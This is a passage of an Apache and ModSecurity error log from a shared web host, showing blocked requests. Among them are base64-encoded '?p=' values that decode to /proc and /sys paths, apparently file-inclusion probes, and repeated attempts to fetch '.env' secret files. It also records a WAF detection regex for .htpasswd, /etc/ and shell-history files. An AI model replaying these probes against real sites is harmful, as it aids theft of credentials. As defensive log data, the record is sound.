"ai3y1lWSojQL4F7upKBbtgAAAMQ"] [Sat Jun 13 18:16:22.258526 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:22.258980 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:22.272401 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.9:62274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:22.272810 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.9:62274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:22.314348 2026] [security2:error] [pid 646876:tid 647004] [remote 17.241.227.92:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y1tyTkdrNlD40tSGnugAADX0"] [Sat Jun 13 18:16:22.585411 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.76:41637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:22.585847 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.76:41637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:22.603956 2026] [access_compat:error] [pid 648189:tid 648234] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2ZkaW5mbw== [Sat Jun 13 18:16:22.604390 2026] [access_compat:error] [pid 648189:tid 648234] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2ZkaW5mbw== [Sat Jun 13 18:16:22.770086 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9ldmVudDMvZGV2aWNl [Sat Jun 13 18:16:22.770371 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9ldmVudDMvZGV2aWNl [Sat Jun 13 18:16:22.925508 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.6:22794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:22.925973 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.6:22794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:22.949783 2026] [security2:error] [pid 648189:tid 648286] [remote 17.22.245.50:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y1lWSojQL4F7upKBbyQABAkA"] [Sat Jun 13 18:16:23.058391 2026] [access_compat:error] [pid 648189:tid 648273] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:23.058891 2026] [access_compat:error] [pid 648189:tid 648273] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:23.278714 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:16:23.279299 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:16:23.309907 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.29:34333] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:23.310343 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.29:34333] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:23.429902 2026] [security2:error] [pid 648189:tid 648409] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env~"] [unique_id "ai3y11WSojQL4F7upKBb3AAAALw"] [Sat Jun 13 18:16:23.532566 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.80:29459] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:23.533051 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.80:29459] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:23.596934 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.63:58218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:23.597351 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.63:58218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:23.755047 2026] [access_compat:error] [pid 646876:tid 646967] [remote 57.141.14.15:55013] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:23.755492 2026] [access_compat:error] [pid 646876:tid 646967] [remote 57.141.14.15:55013] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:23.800890 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MA== [Sat Jun 13 18:16:23.801159 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MA== [Sat Jun 13 18:16:23.851019 2026] [access_compat:error] [pid 648189:tid 648280] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:23.851383 2026] [access_compat:error] [pid 648189:tid 648280] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:23.859375 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.github/.env"] [unique_id "ai3y11WSojQL4F7upKBb7wAAAMQ"] [Sat Jun 13 18:16:24.277488 2026] [security2:error] [pid 646876:tid 647055] [client 172.56.168.133:7840] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3y2NyTkdrNlD40tSGn-gAAAC8"] [Sat Jun 13 18:16:24.277605 2026] [security2:error] [pid 646876:tid 647055] [client 172.56.168.133:7840] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3y2NyTkdrNlD40tSGn-gAAAC8"] [Sat Jun 13 18:16:24.289507 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2V2ZW50NS9kZXZpY2UvZXZlbnQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:24.289798 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2V2ZW50NS9kZXZpY2UvZXZlbnQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:16:24.443913 2026] [security2:error] [pid 648189:tid 648450] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.gitlab-ci/.env"] [unique_id "ai3y2FWSojQL4F7upKBb-gAAAOQ"] [Sat Jun 13 18:16:24.517342 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.108:33637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:24.517632 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.108:33637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:24.520201 2026] [security2:error] [pid 646876:tid 646977] [remote 74.7.227.53:42650] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3y2NyTkdrNlD40tSGoAgAAHGI"], referer: https://northsecuritysystems.com/?product=domo-ip-8-megapixel-lente-mot-2-8-a-12-mm-darkfighter-wdr-120-db-ik10-ir-30-mts-conteo-facial-deteccion-facial-interior-poe-busqueda-por-atributos-microfono-integrado [Sat Jun 13 18:16:24.575587 2026] [security2:error] [pid 648189:tid 648398] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.gitlab/.env"] [unique_id "ai3y2FWSojQL4F7upKBb_QAAALI"] [Sat Jun 13 18:16:24.825156 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2lk [Sat Jun 13 18:16:24.825425 2026] [access_compat:error] [pid 646876:tid 646936] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2lk [Sat Jun 13 18:16:24.925602 2026] [access_compat:error] [pid 648189:tid 648259] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:24.926053 2026] [access_compat:error] [pid 648189:tid 648259] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:24.931066 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.109:28884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:24.931490 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.109:28884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:25.007970 2026] [security2:error] [pid 646876:tid 646916] [remote 17.22.253.207:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 207.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y2NyTkdrNlD40tSGoHgAAcyU"] [Sat Jun 13 18:16:25.042113 2026] [security2:error] [pid 648189:tid 648471] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.idea/.env"] [unique_id "ai3y2VWSojQL4F7upKBcEgAAAPU"] [Sat Jun 13 18:16:25.327054 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2svZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:16:25.327482 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 